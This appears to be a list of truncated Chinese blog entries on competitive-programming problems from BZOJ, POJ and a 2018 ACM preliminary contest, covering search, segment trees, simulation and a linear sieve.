    [BZOJ5248][九省联考2018]一双木棋(搜索,哈希) 题面 BZOJ Description 菲菲和牛牛在一块n行m列的棋盘上下棋,菲菲执黑棋先手,牛牛执白棋后手.棋局开始时,棋盘上没有任何 ...

  7. BZOJ3295:[CQOI2011]动态逆序对——题解

    http://www.lydsy.com/JudgeOnline/problem.php?id=3295 Description 对于序列A,它的逆序对数定义为满足i<j,且Ai>Aj的数 ...

  8. POJ.2528 Mayor's posters (线段树 区间更新 区间查询 离散化)

    POJ.2528 Mayor's posters (线段树 区间更新 区间查询 离散化) 题意分析 贴海报,新的海报能覆盖在旧的海报上面,最后贴完了,求问能看见几张海报. 最多有10000张海报,海报 ...

  9. POJ.3087 Shuffle'm Up (模拟)

    POJ.3087 Shuffle'm Up (模拟) 题意分析 给定两个长度为len的字符串s1和s2, 接着给出一个长度为len*2的字符串s12. 将字符串s1和s2通过一定的变换变成s12,找到 ...

  10. [ACM][2018南京预赛]Sum

    一.题面 样例输入: 2 5 8 样例输出: 8 14 二.思路 关键词:线性筛 在Zed的帮助下知道了这是一道线性筛的比较裸的题了.考试过程中肝这道题的时间最久,费了心思找到递推式后,发现根本不是在 ...